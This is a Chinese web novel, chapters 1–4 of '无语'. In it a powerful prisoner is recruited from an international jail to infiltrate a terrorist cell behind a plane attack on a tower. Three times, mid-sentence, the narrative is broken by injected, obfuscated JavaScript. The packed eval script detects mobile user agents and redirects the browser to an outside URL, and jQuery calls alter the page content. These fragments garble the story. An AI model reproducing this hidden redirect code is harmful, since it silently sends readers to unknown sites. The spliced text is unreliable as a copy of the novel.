《无语》 1. 探监 以戒备森严著称的第八国际监狱坐落于彩虹市郊区,关押在此的犯人全部都是国际上恶名昭著的重刑犯,无期徒刑是这些人的标配,其中不泛拥有各种特殊能力的异能者。 异能者是这个世界上的稀有人种,异于常人的强大能力使这类人成为了扰乱社会秩序的不安定因素,其危险程度令人警惕生畏。 监狱里的狱警皆是荷枪实弹、神情高度戒备,他们受过专业训练,一旦发现异能者罪犯出现任何逃狱行为,将不问原因,直接就地枪毙。 冷意森森的冬日清晨,一群脖颈上套戴黑色项圈的囚犯们,正顶着烈烈寒风艰难地赶往劳改地点,他们的步伐缓慢沉重,仿佛每一步都在负重前行。 终于,有一个瘦弱的身影坚持不住,倒了下去,再难爬起来,他的行为阻碍了整个队伍的前进脚步。 监管的狱警一个箭步冲过来,不由分说就抽出腰间的高压电棍,劈头盖脸朝地上的人狠厉挥去,电棍划破空气呼呼抽打在肉身上的声音听得人心惊,但周围没有一个人敢上前制止,他们的神情全都麻木空洞,仿佛早已习以为常。 眼看着被抽打的人就要昏死过去,一只纤细白皙的手突然出现,截住了半空中正要继续挥下的电棍,笑吟吟的女声从身后传来。 “尼古德,输了几副牌而已,犯不着把气撒在别人身上吧?” 尼古德长了副尖嘴猴腮的面容,见自己当着众人的面教训犯人被阻拦,气得跳脚,厉声警告:“洛雪眠,你他妈少多管闲事,不然老子连你一块收拾。” “哎呦,我好怕哦。” 洛雪眠佯装害怕的样子,但眼神里没有丝毫俱意,手上的力道也没减半分,在其他人看来,她仿佛并没有使多大的力气,气定神闲就让尼古德手中的电棍动弹不得。 尼古德脸上怒意未消,可无论如何使劲都没法挣脱桎梏,他再次愤怒咆哮:“洛雪眠!你不要以为有韩家那小子罩着你,我就不敢动你,你这是在公然挑衅,妨碍监管!” “呵。” 洛雪眠冷笑一声,反问:“尼古德,我还真不知道,国际监狱里哪条法规写了狱警可以滥用私刑了?” “你……” 两人正僵持不下,闹出的动静引起了走在前方的老狱警注意,他缓步走了过来,先是呵斥打人的尼古德。 “尼古德,跟你说过多少遍了,年轻人要注意分寸,不要动不动就打人。” 尼古德不服气地辩解:“老警长!这都是些该死的异能者!我们根本就不应该手下留情,就算是把他们打死了,那也是为民除害,大功一件。” “屁话。” 老狱警瞪了他一眼,严肃批评:“不管这些人犯了什么罪,自然有法律来制裁,我们只需要做好我们应尽的职责就行。” 他仿佛看穿了尼古德愤怒下掩饰的心虚,质问:“你老实交代,昨晚是不是又擅离职守赌牌去了?” “我……”尼古德被人当面戳穿,支吾着不敢承认,他昨晚确实输钱输得眼红了,嚣张的气焰瞬间荡然无存。 老狱警叹气摇头,神情无奈,显然尼古德这样的行为也不是一次两次了,但他是监狱长的亲侄子,大家也只能选择睁一只眼闭一只眼。 老狱警把倒在地上疼得直抽搐的犯人搀扶了起来,又喊了队伍里一个身材高大魁梧的男人过来,交代道:“刘忙,你认识路,陪他去趟医务室,检查下伤势。” 随后目光转向旁边一直在看戏的洛雪眠,说道:“丫头,你跟我走一趟吧,有人来探监。” “……??” 洛雪眠怀疑自己听错了,皱眉确认:“迈杰夫,你确定是来看我的?可别老眼昏花弄错了。” 老狱警被气笑了,他催促道:“这我哪能搞错,快走吧,别让你家里人等急了。” 洛雪眠内心吐槽:我家都快绝户了,哪来的家人? 但还是快步跟了上去。 她倒是挺好奇,到底是谁闲着没事干,跑到这鸟不拉屎的监狱里来冒充她的家人。 洛雪眠刚走,尼古德就朝地上恶狠狠地吐了口唾沫,冷笑道:“呸,臭娘们,你给老子等着。” 眼神十分阴毒,心里已经在盘算着要怎么报复回去。 被打的犯人是个年轻的男孩,年纪约莫十八九岁,他望着洛雪眠走远的背影,轻声问身旁的刘忙。 “她也是这里的犯人吗?” “你说谁?”刘忙顺着男孩的目光看去,恍然大悟。 “哦——原来是洛雪眠呀,我跟你说……”他趁随行的狱警不注意,压低声音凑到男孩的耳边,好心提醒:“你少跟她接触,离得越远越好。” “为什么?”男孩疑惑。 “还能为什么,你刚来,肯定不知道,她……” 刘忙像是想起了什么恐怖的回忆,十分惧怕,整个身体都在颤抖,心有余悸说道: “她就是个彻彻底底的疯子。” “……” ** 洛雪眠散漫地跟着老狱警往探监室的方向走。监狱为了提防异能者罪犯使用异能,为其量身打造了专门抑制异能分化的项圈。一旦佩戴者使用了异能,项圈会瞬间释放出上百万伏的高压电流进行制裁,使其失去反抗能力。 不仅如此,项圈材质也十分特殊,重量高达百余斤,在很大程度上限制了异能者的行动,但这一点似乎对洛雪眠毫无作用,她的步伐轻盈且快,遛弯儿一样欣赏起沿途的风景来。 老狱警回头看了洛雪眠一眼,知道她是个天不怕地不怕的性子,但还是不放心地叮嘱: “丫头,你少跟尼古德对着干,他心思不正,又有背景,你这次让他当众难堪,指不定以后要怎么刁难你呢。” 洛雪眠闻言噗嗤一笑,她的左眼笼罩在黑色眼罩之下,仅剩的一只右眼带着笑意,歪头好奇问道:“迈杰夫,那你还敢帮我?不怕被报复?” “哼,我怕他?老头子我在这监狱里干了快四十年了,什么大风大浪没有经历过,一个毛都没有长齐的混账小子,我还犯不着怕他,不过……” 老狱警认真审视洛雪眠,问出了心中的疑惑:“丫头,你到底是因为什么原因进来了,终生监禁可不是闹着玩的。” 他很清楚,这座铜墙铁壁打造的特级监狱,根本困不住洛雪眠这样的人,可是她却老老实实呆在里面服刑了大半年,实在令人费解。 洛雪眠还是一副嬉皮笑脸的模样,她打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253958|139747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着哈欠,随便扯了个理由:“还能因为什么,穷呗,我在外边穷得都快吃不起饭了,所以到监狱里来混口饭吃。” 老狱警显然没有相信她的鬼扯,但也没有再多问,他的脚步停在了一栋黑色办公大楼前,跟门口值警的女狱警说明了来由,然后对洛雪眠说: “到了,你进去吧,会有专门的狱警带你去见家人的。” 洛雪眠点了点头,跟着引路的女狱警走进了大楼里。 光线昏暗的走廊上,女狱警开始例行公事核对洛雪眠的个人信息: “犯人1009号,洛雪眠,年龄……咦?” 女狱警停下了脚步,她不可思议地反复翻看着手中的罪犯档案,神情惊诧不已。 洛雪眠悠闲站在一旁,不用猜都知道,她的档案上身份背景经历那一面全是空白。 看来韩律这家伙办事还挺靠谱,没让任何人知道她的真实来历。 女狱警显然是头一回遇到这么怪异的事情,拿起对讲机正要跟上级汇报,一个声音突然出现打断了她。 “小刘。”监狱长拖着臃肿肥胖的身体从楼梯上走下来,故作威严地对女狱警命令道:“你先去忙吧,这里没你什么事了。” 女狱警有些犹豫,她看了眼身后的洛雪眠,迟疑着想说些什么,却被监狱长一个不耐烦的眼神吓到噤声,连忙敬了个礼转身离开。 人刚走,监狱长转头看向洛雪眠,原地上演了什么叫变脸比翻书还快,满是横肉的脸上换上了一副谄媚的嘴脸,笑容满面客气道:“洛小姐,您楼上请,客人已经等候多时了。” 洛雪眠眼睛微眯,心知这次来的人必定不简单。 但她没有多问,打算静观其变,见机行事。 监狱长把洛雪眠带进了一间宽敞的办公室里,然后对坐在转椅上背对着两人闭目养神的一个高大身影恭敬弯腰,轻声禀报: “司先生,人已经带来了。” 说完不敢有任何耽搁,动作麻利地离开了办公室,并带上了厚重的防爆门。 随着门被关上,办公室陷入了一阵静谧之中,谁也没有先开口说话。 洛雪眠的目光定格在了隐在黑暗里的另一个身影上,刚进门的时候她就敏锐地捕捉到,这间办公室里,除了坐着的男人外,还有一个存在感极低的黑衣青年。 时间一分一秒地过去。 半晌,洛雪眠轻笑一声,对黑暗中的黑衣青年揶揄道: “魏白——” “你是花钱整容了还是跑去非洲挖煤了?这要是天黑的时候见面,我还真认不出来你。” 此话一出,魏白本来就黑的脸瞬间又黑了好几个度。 洛雪眠闲得无聊的时候,曾想象过许多种跟魏白重逢时的场景。以她对魏白的了解,再次见面的时候,这小子要么咒骂她“你怎么还不去死”、“怎么还有脸活着”之类的话,要么直接省略所有废话把枪管戳在她脑门上,然后毫不犹豫扣下扳机,“砰”一声取她小命。 毕竟,这人对她可是恨之入骨。 可她没有想到,多年后再见,魏白跟她说的第一句话却是—— “洛雪眠,你怎么堕落成了这样?!” “……” 2. 卧底 洛雪眠的眉头微不可见地皱了一下。 这咬牙切齿、恨铁不成钢的语气…… 她开始怀疑,眼前这人到底是不是魏白,还是说魏白出门的时候脑袋不小心被门给夹了? 居然还关心起她来了。 洛雪眠至今都记得,三年前,她和魏白闹掰后,这人差点杀了她。 容不得洛雪眠多加思考,原本坐在转椅上背对着她的男人突然转过身来,低沉磁性的嗓音略带歉意说道: “抱歉,虽然我并不想打扰两位叙旧,不过……” 随着声音的停顿,一张玩世不恭充满野性的俊颜出现在了眼前,男人薄唇微勾,深绿色的眼眸带着兴味儿,不怎么正经地跟洛雪眠打起了招呼。 “请容许我先做个自我介绍,初次见面,我叫司无枫,十分荣幸,能在这里见到曾经叱咤风云的……” 司无枫的目光落在了洛雪眠脖颈配戴的项圈上,笑意加深:“王牌部队不败的战神——” “king。” “……”洛雪眠眸光微沉。 她不动声色地打量起眼前肆意张扬的男人,这人似乎丝毫不担心自己的身份会泄露,堂而皇之将国际警署监察长的高级黑色制服松垮地披在身上。 看着实在是……欠揍。 洛雪眠收回目光,敷衍地回了句:“过奖。” 随后往前走了几步,直接拉开会客桌旁的椅子,毫不客气地坐下,翘起腿,冲司无枫挑眉问:“说吧,找我什么事?事先声明,杀人放火的事不干。” “聪明。”司无枫眼带赞赏,将桌面上氤氲着雾气的茶杯推到洛雪眠面前,慢条斯理说道:“你似乎不太喜欢从前的称号,既然如此,不介意我称呼你为洛小姐吧。” 洛雪眠无所谓地耸了耸肩,不怎么耐烦道:“随便你怎么喊,废话少说,有屁快放。” “还真是粗俗呢,有失你的身份。”司无枫语带惋惜地摇了摇头,给一直静立在身侧随时待命的魏白递了个眼神。 魏白恭敬颔首,上前一步,打开了手中的笔记本电脑。 很快,一段超高清视频被播放了出来—— 视频显然经过了降噪处理,可还是能听到震耳欲聋的爆炸声和人们恐惧到极点的凄厉尖叫…… 彩虹市的地标性建筑——天子大楼,在建筑史上极具代表性,修建于星历1985年,楼高近600米,从远处遥望时,犹如一把挺拔的利剑直插云天,静静矗立于市中心寸土寸金的土地上。 天子大楼作为当地远近闻名的网红打卡地,每年都会吸引数以万计的游客过来拍照打卡。 冬日的天空笼罩在厚重的阴云之下,熙熙攘攘的行人在高楼之下驻足观望,抬头仰望时眼神中会不自觉流露出赞叹和向往,与此同时,楼内的白领们正喝着续命的苦咖啡,在办公位上两眼无光,一刻也不敢懈怠地为迷茫的未来拼搏奋斗着。 一切都是那么的井然有序,谁也没有想到,灾难正在悄无声息地降临…… 最开始发现异样的是位于高楼层的上班族,遥远的天穹下,一个模糊的黑点呼啸着朝大楼不断逼近,渐渐地,速度越来越快,距离越来越近,当人们惊恐地发现飞过来的是一架大型民航客机的时候,一切都晚了。 瞬息之间,在所有人惊惧绝望的目光中,庞大的飞机以自毁的方式高速俯冲,猛烈撞向了大楼中部—— 伴随着一声惊天巨响,几乎能遮蔽住整个彩虹市天空的黑烟滚滚升起,高耸入云的摩天大楼在熊熊大火中剧烈燃烧。 随着时间的推移,燃烧的楼体失去支撑开始摇晃,在人们还来不及反应之时轰然倒塌,大量的残骸和余烬朝地面直坠而下,无数行人撕扯着喉咙惊惶逃窜。顷刻之间,数以千计无辜的生命被废墟无情吞噬,火速赶来的消防员和医护人员展开了“与死神赛跑”的紧急救援行动…… 现场惨烈不堪,如同人间炼狱。 洛雪眠全程神情淡漠,就像在观看一场无聊的肥皂连续剧,平静得没有任何反应。直到眼角余光在镜头中捕捉到一个模糊的图案,她的眼睛里才出现了一丝细微的波动。 魏白眼疾手快,“啪”一声按下了暂停键,将那帧画面中的人物细节不断调节放大。 混乱不堪的逃亡救援现场,三个头戴黑色面罩的身影被定格住。 洛雪眠眸光微动,其中一人脖颈处露出的黑色蛛网刺青引起了她的兴趣,她记得很清楚,这个独特的图案来源于臭名昭著的世界最大恐怖组织——暗网。 “一个月前,一架民航客机被一伙极端恐怖分子劫持,随后凭空消失在了所有精密雷达的检测范围中,我们推测,应该是这帮劫机者中有能够使用特殊异能的人,并且等级不低,将飞机的飞行轨迹给完全隐藏掉了。” 司无枫优雅地品尝着手中的茶水,不紧不慢陈述:“当再次监测到这架飞机的飞行信号的时候,彩虹市天子大楼已经被撞成了一片废墟。” “这次的恐怖袭击,民众伤亡惨重,经济损失高达数万亿美金,我们派出了大量的人力物力,布下天罗地网搜寻潜逃在外的恐怖分子,最后在不夜城找到了他们的行踪。” 洛雪眠没去过不夜城,但也听说过,那是一座十分庞大的地下之城。 在那里生活的人,贫富差距极大。既有纸醉金迷,穷奢极欲,挥金如土的富人区,也有生存条件极其恶劣,鱼龙混杂,充满肮脏与血腥,暴力与罪恶的贫民窟。 显然,这是一起有预谋且有策划的极端恐怖袭击事件。 司无枫放下茶杯,将一份加密文件推到了洛雪眠面前。 “这是我们的情报人员拼死截取到的密信。” 纸张沾染了血迹,上面是一连串的摩斯密码。 洛雪眠只是淡淡扫了一眼,就轻而易举将上面的内容破译。 内容很简单,只有一句话—— 任务完成,目标已销毁。 “我们调查了很久,才搞清楚这伙人劫机撞楼的真正目的,是为了毁掉当时正在天子大楼中进行拍卖的一批SB药剂。” SB药剂,是市面上唯一能够治疗异能者分化缺陷的药,极其稀缺,价格也极为昂贵,其专利一直牢牢垄断在第一研究所的手中。 “丧心病狂。”洛雪眠评价了一句。 仅仅为了摧毁一批药剂,就葬送整栋大楼千万人的生命,是暗网一贯的行事风格。 “不仅丧心病狂,还十分狡猾。”司无枫双手交叠托着下巴,补充道:“撞毁大楼的是暗网刚成立的一个小团伙,他们行踪隐秘,警惕性极高,短短一个月,我们已经折了不少人在这里面。” 洛雪眠挑眉,直截了当问:“你们找我来这的目的到底是什么?” 司无枫也不再兜圈子,“根据最新情报,这伙人跟许多政府官员暗中也有勾结,贸然派兵围剿可能会打草惊蛇,所以——” 他的目光落在洛雪眠身上,“我们需要派遣一个合适的人潜伏进去,摸清楚这帮人的底细,并且拿到与之勾结的官员名单,再里应外合一网打尽。” “经过筛选,你是我们目前认为最合适的人。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253959|139747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 洛雪眠直接拒绝:“干不了。” “卧底、收集情报,这是特工干的活吧?”洛雪眠勾起唇角,话里带着毫不掩饰的嘲讽: “军事基地向来人才济济,不会连个合适的卧底都找不到吧,派我一个毫无经验还蹲过牢底的罪犯去,传出去不怕别人笑话?” “我相信,凭你的实力一定能出色地完成任务,堵住悠悠众口,到时也算是戴罪立功,我们可以为你争取减刑。” 司无枫开始蛊惑洛雪眠,“难道你不想早点离开这个鬼地方吗?” 呵,这饼画得还真是一口吃不下呀。 “可惜呀……” 洛雪眠慢条斯理整理了下自己的衣袖,“你们搞错了一点——” 话音未落,洛雪眠便闪电般朝对面的两人袭去,仅眨眼之间,她就抽出了魏白腰间别着的配枪,动作流利推弹上膛,并迅速将冰冷的枪口准确无误抵在了司无枫的太阳穴上。 速度之快,令人咂舌。 一旁的魏白反应过来后大惊,连忙出声喝止:“洛雪眠,你别犯傻!” 洛雪眠做出一个“嘘”的动作,眼神示意魏白别轻举妄动。 随后嘴角扬起一抹危险的笑,低头对司无枫轻蔑道: “这座监狱根本困不住我,我留在这里,是自愿的。” 洛雪眠脖颈上的抑制项圈正不断发出可怕的“滋滋”声,显然是监测到她使用了异能,启动了惩罚机制,百万伏的高压电流瞬间释放。 可洛雪眠却毫发未损,安然无恙站立在原地,连眉头都没有皱一下,枪也拿得极稳,没有丝毫晃动。 “我听说过你,司家的三公子。” 洛雪眠的声音从头顶缓缓传来:“听说你是家里最不受宠的那个,忍辱负重多年,才在去年成功把亲爹和两个哥哥拉下了台,今日一见,果然,你这个人,还真是欠揍。” “我猜你之所以找到了我,并不是因为看中了我的能力,而是你受到了军区那帮老家伙的辖制,根本找不到能办事的人吧。他们把劫机事件这个烫手山芋甩给了你,却不给你调派人手的权利,显然是想打压你,让你乖乖听话。” 司无枫安静听着洛雪眠的分析,嘴角始终含笑,他像是不知道自己正被人拿枪威胁,甚至抬手鼓了个掌,十分从容地承认了自己的真实目的: “你猜得没错,我确实是找不到合适的人才来这寻的你。” 洛雪眠把枪往司无枫的脑袋上又戳近了几分,侧脸皮肤白皙似雪,神情冷漠:“别动,我还没有说完呢。” “劫机事件应该是你上位后接手的最大伤亡事故,急于立功表现的你,肯定不愿轻易放手,所以,你就把如意算盘打到了跟暗网有秘密往来的官员名单上。” “我猜得没错的话,这份名单里,应该有不少在官场上混了个一官半职的贵族子弟吧,你想拿这份名单作为筹码,威胁那帮老家伙就范。” “我说得对吗……司监察长。” 司无枫的眼里流露出了钦佩与赞赏。 “我真是小看你了,不愧是军区曾经的‘无冕之王’,果然名不虚传。” 洛雪眠还是那句客套的话:“过奖过奖。” 说完话锋一转,“那么,司监察长,你现在要拿什么来说服我帮你呢?” 司无枫墨绿色的眼眸倒映在光洁照人的桌面上,他无惧脑袋上顶着的威胁,缓慢整理了下滑落的外衣,穿戴黑色皮套的双手交叠于身前,微笑道:“既然出狱打动不了你,不如——” “我们来谈笔交易吧。” 3. 交易 “哦?” 洛雪眠显然来了兴趣,她将抵在司无枫脑门上的枪放下,拿在手里把玩了会儿,随手丢回给魏白,坐回原位,单手托腮笑眯眯问: “说说看,咱们能谈个什么样的交易。” 她此刻笑起来的模样像只狡黠的小狐狸,跟刚才气势逼人的样子完全判若两人。 司无枫后背靠回椅背上,翘起两条修长的腿,换了个舒服的姿势,状似无意地提起: “听说洛小姐三年前丢失了一段记忆……” 刚听到开头,洛雪眠的笑容瞬间消失,眼睛危险地眯起。 司无枫不以为意,继续说:“这段记忆似乎对你很重要,你一直都在寻找能恢复记忆的方法。” 洛雪眠直接打断他的话,追问:“怎么?难道你有能让我恢复记忆的方法?” “别着急呀,洛小姐。” 这回轮到司无枫慢条斯理了,他在洛雪眠探究的目光中,给自己续了杯茶水,轻抿了一口后,才慢悠悠说道: “我认识一个朋友,是A级精神系异能者,擅长操控梦境,他或许能帮到你。” 在这个全球异化率极低的蓝星上,异能者由弱到强可大致分为D、C、B、A四个等级。每跨越一个等级,异能者的实力、身体强悍度、攻击速度和自愈速度都将会以恐怖的指数级进行暴增。 异能者的等级越往上数量越少,放眼全球,D级的异能者数量约占九成,C级更为稀少,而B级已属于人中龙凤,A级则是位于金字塔的顶端,在全球都寥寥无几。 更何况还是精神系的A级,汇聚世界精英的第一研究所估计都找不出几个。拥有如此实力的人物,走到哪里都是受人追捧的香饽饽,甚至会被当成吉祥物供起来。 洛雪眠不傻,知道这人在故意给她下套,但恢复记忆对她的吸引力太大了,她也不拐弯抹角,直接问:“说吧,你的条件。” “洛小姐真是个爽快人,我只有一个条件——” 司无枫修长的手指有规律地敲击着桌面,幽深的绿眸直勾勾看向她。 “拿到地下城的那份官员名单,并且将劫机团伙一网打尽。” “成交。不过,这笔交易我要加码。”洛雪眠开始讨价还价。 “洛小姐,你不去做生意还真是浪费呀。”司无枫笑着调侃道。 洛雪眠莞尔,知道有戏,眼神无害诚恳地说:“放心,我只提两个要求,没夸张到要上刀山下火海,我相信凭司监察长的实力应该不难办到。” “你说。” “第一,我要拿到天空之城的通行权。” 偌大的办公室静了一瞬。 天空之城作为全球政治军事经济文化的核心,进出审核极其严苛,洛雪眠作为一个阶下囚,根本不可能有进入天空之城的资格。 司无枫若有所思,沉默片刻后,含笑望向落雪眠,饶有兴味问道:“恕我冒昧,洛小姐,你要去天空之城做什么?” 洛雪眠坦然回答:“找人。” “找什么人?司家在天空之城的人脉也许能帮到你。” “不麻烦了。”洛雪眠摆手拒绝,纤细的手指无意识地摸了下戴着眼罩的左眼,像是陷入了某种难言的情绪中,喃喃道:“一个小可怜而已,或许人已经不在了也不一定。” 司无枫将洛雪眠的异样尽收眼底,在他得到的有关洛雪眠的所有资料中,对她的描述全部都是桀骜不驯、漠视一切规则、从无败绩的天之骄女。 能让曾经的战神如此失态的人…… 司无枫的眼眸中闪过一丝戏谑。 有趣。 “抱歉,扯远了。”司无枫收起眸底的情绪,将话题拉回:“洛小姐,你的第二个要求是什么?” 洛雪眠眼角余光瞥了眼旁边一直站着被忽略成背景板,浑身上下透着股酸涩苦逼班味儿的魏白,问道:“你打算派谁协助我完成这次的行动?” “很遗憾,虽然我非常想给你安排经验更加丰富的对接人,但你也清楚我目前的处境,手底下只有魏白办事比较稳妥。” 司无枫解释道:“况且我听说你们从前曾经是出生入死的战友,想必也会比其他人配合得更加默契。” 此话一出,洛雪眠和魏白两人俱是沉默。 沉默了大概十几秒,洛雪眠在魏白出声反驳前抢先开口:“没问题,我可以和魏白搭档。” “不过,我的第二个要求是……” 洛雪眠翘起唇角,看向魏白,缓缓道:“这次的行动,他得全听我的。” 魏白:“……” ** 洛雪眠从办公大楼里出来的时候,外边下起了大雪。 雪花纷纷扬扬洒下,落在了她鸦羽般的眼睫上。 白茫茫的世界里,她看到了一个略微佝偻的黑色身影。 隔着漫天飘雪,洛雪眠的思绪被拉远,恍惚间仿佛回到了许多年前——幼小的她伤痕累累精疲力竭走出训练场的大门,总会有一个孤单的,略微有些佝偻的身影安静地站在最显眼的位置等她,等她笑着跑过去的时候,会伸出苍老的手温柔抚摸她的头发,慈爱地从大衣口袋里掏出一颗甜掉牙的糖果,轻轻放到她的手心。 那曾经是她唯一拥有过的温暖。 老狱警撑着伞走到洛雪眠身边,沙哑的嗓音连唤了她好几声,她都没有反应,直到最后拔高了声调,她才如梦初醒般回过神来。 “丫头,想什么呢?这么入神?”老狱警把手里的粉色保温盒递给她。 “没什么。”洛雪眠摇头,长睫垂落,脸色有些苍白,伸手接过了保温盒,感受到指尖传递过来的温暖,她疑惑地看向老狱警。 “这是什么?” 老狱警哼了一声,随口解释:“韩家那小子开了辆骚包的绿色跑车专程送过来的,走的时候还反复嘱咐我一定让你趁热吃掉,他对你倒是挺上心。” 洛雪眠打开盒盖,一个个晶莹剔透的水饺整齐排列在小小的盒子里。 “饺子?” 洛雪眠捏起其中一个水饺,放到嘴里,肉馅里混合了蜜枣泥,入口甜腻,是她喜欢的味道。 洛雪眠连吃了好几个,直到胃里有了饱腹感,才想起来问:“韩律干嘛送我饺子吃?” “傻丫头,今天是什么日子你忘了?” 洛雪眠:“……” 拜托,监狱里又没有日历,她怎么会知道今天是什么日子?! 见洛雪眠真的一脸茫然,老狱警无奈道:“今天是冬至,你们这的人不是到了这一天都要吃饺子的吗?” “哦……” 都冬至了呀,洛雪眠抬头,半眯着眼睛望天,心里感慨自己竟然在这破监狱里呆了这么久了。 老狱警把洛雪眠带到了劳改地点,雪已经停了,土豆地里一群罪犯被冻得瑟瑟发抖正哈着气干活。 洛雪眠环视一圈,目光定格在了一个瘦弱的身影上,那人正是她今早救下的男孩。 男孩受了伤,脖颈上的抑制项圈压得他有些喘不过气,他用包扎过的手臂艰难地挥动着生锈的锄头,僵硬的手指刨开冰冻的黑土,缓慢地将埋在土里的土豆一个个捡到怀里,正要把土豆放到身后的箩筐里,刚转身,就跟趴在筐边正在狼吞虎咽的刘忙四目相对。 “……” 刘忙被抓包后有些尴尬,他把手里剩下半个带着泥土的土豆囫囵吞下,不好意思道:“对不住呀,侯六,我太饿了,一时没忍住。” 侯六走过来看了眼箩筐,里面半框的土豆少了三分之一。监狱里的劳改工作都设有完成指标,每个人需要在午饭前挖满三大筐的土豆,完不成指标的人将会饿肚子。 刘忙以为侯六会生他的气,没想到侯六非但没有怪他,反而担忧地盯着他看:“吃生土豆会拉肚子,你吃了这么多,还好吧?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253960|139747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >刘忙挠了挠头,头一回儿被人关心,有点不太习惯,他憨笑着说:“我没事,你不知道,我这个人,饿急了,啥都能吃,那种花花绿绿的毒蘑菇你知道吧,我以前还当甜点吃呢,不也啥事没有吗。” 侯六皱眉,他迟疑了下,忍不住问刘忙:“你总觉得饿,是因为……分化缺陷吗?” 按照常理来说,异能者的身体素质远比普通人强大,忍饥挨饿的能力也会更强,刘忙这种随时随地都会饿得两眼昏花,仿佛永远吃不饱的症状,唯一的解释就是异能觉醒后出现了分化缺陷。 刘忙有些诧异:“你咋知道的?” 分化缺陷是一种在异能者中常见的分化疾病,治疗的药物十分稀缺昂贵,刘忙显然是属于负担不起治疗费用的那一类人。 “我这病从小就有,饿着饿着就习惯了,有时候饿得实在没办法了,就去捡些别人不吃的剩菜剩饭填肚子,说起这个,我跟你说——” 刘忙压低声音,悄咪咪说:“整个监狱里就属那个洛雪眠最挑食了,每次就吃几口饭,遇到不爱吃的菜,更是连动都懒得动一下,真不知道她那小身板是怎么活到现在的,我每回跟在她后头都能捡到……” 刘忙的声音戛然而止。 他仿佛青天白日见到了鬼,整个人表情石化,冻在了原地。 侯六顺着视线看过去,只见刚才被议论的洛雪眠本人,站在了距离他们五米开外的位置,捡了块不大不小的石头,看不清楚脸上的表情,手里正在有规律地将石头一抛又一抛丢着玩。 忽然,洛雪眠嘴角勾起了一抹极浅的笑意,下一秒,侯六瞳孔骤缩,本能察觉到危险,但一切都晚了,电光火石之间,洛雪眠手中的石头径直朝他迎面袭来—— 侯六根本来不及躲闪,下意识闭上眼睛,但预想中的疼痛并没有出现,耳畔传来石头插肩而过砸中某种东西的怪异声响,他睁开眼睛,惊愕地看向地面。 覆盖积雪的黑土地上,一条五彩斑斓的毒蛇在剧烈抽搐几下后彻底僵直不动,七寸的位置上赫然是一道使其毙命的伤口。 侯六盯着滚落在一旁的石头,良久都说不出话来。 洛雪眠已经走到了两人跟前,把手里一直拿着的保温盒丢到了刘忙怀里。 刘忙一脸懵逼地看着她,头顶一个大大的问号。 洛雪眠懒得解释,只言简意赅吐了句:“我不爱吃。” 刘忙闻言喜出望外,饿得前胸贴后背的他也不管这是谁给的了,手忙脚乱打开一看,色香味俱全的饺子馋得他直流口水,立马狼吞虎咽吃了起来。 洛雪眠走到侯六身旁,蹲下身观察了眼地上的死蛇,秀气的眉头微蹙。 冰天雪地的,这蛇不呆在洞里冬眠,跑到外面来找死,还真是稀奇。 忽然,洛雪眠心念一动,联想到了什么,目光转向了正在发呆的侯六身上。 侯六感受到洛雪眠的视线,回过神来,嘴唇嗫嚅了下,正犹豫着要不要道谢,就见洛雪眠朝他笑了下,关心道:“你没事吧?” 侯六摇了摇头,欲言又止。 洛雪眠显然看出来了这孩子的别扭,摆了摆手随意道:“道谢就不用了,举手之劳,下次记得小心点,这荒郊野岭的,蛇鼠虫蚁到处都是。” 说完正要离开,却被刘忙喊住。 刘忙把吃完的保温盒递给洛雪眠,意犹未尽地舔了舔嘴巴,支吾了会儿,才鼓起勇气小心翼翼询问: “那个,洛——呃,洛姐,你那里还有啥,不爱吃的东西不?” “……” 洛雪眠闭眼深呼吸了一下,随后脸上浮现出慈爱的笑容,拍了拍刘忙的肩膀,说: “当然有了,来来来,看到地上的那东西没,你不是说花花绿绿的东西吃了也没有事吗,正好,今天这条蛇就交给你了哈,这可是难得的野味,快把它烤了加餐吧,乖孩子。” 刘忙:“……哈?” 4. 劫狱 冬日的雪夜,静谧无声,弥漫着刺骨的寒冷。 G1009号监舍外,一个黑影避开监控,鬼鬼祟祟出现在了门口,四下查看无人后,蹑手蹑脚掏出钥匙打开了监舍的门锁。 小心翼翼推开门,室内漆黑一片,伸手不见五指,但监舍的铁架床摆放位置统一,都在进门左手边不到两米处。黑影大致估摸了下距离,摸黑走到了铁架床旁边,眼睛逐渐适应黑暗后,可以隐约看到床上有一个娇小的隆起。 黑影猩红色的眼眸中划过一抹狠厉,从口袋里抽出随身携带的注射针管,猛然掀开被单就要扎下—— 却惊悚地发现床上空无一人! “你是在找我吗?” 寂静的黑夜中,洛雪眠含笑的声音如鬼魅般出现在身后。黑影大惊,手中的针管被吓得掉落在了地板上,猝然回头,只见原本应该躺在床上昏迷不醒的洛雪眠,竟不知何时无声无息地站在了他的身后! 洛雪眠抬手打了个响指,原本封死的窗户被夹杂着雪花的寒风哐啷撞开,玻璃碎裂一地,寡淡的月光倾泄而入。她斜倚在门口,弯腰捡起滚落到脚边的针管,借着微弱的光线看清了里面的东西。 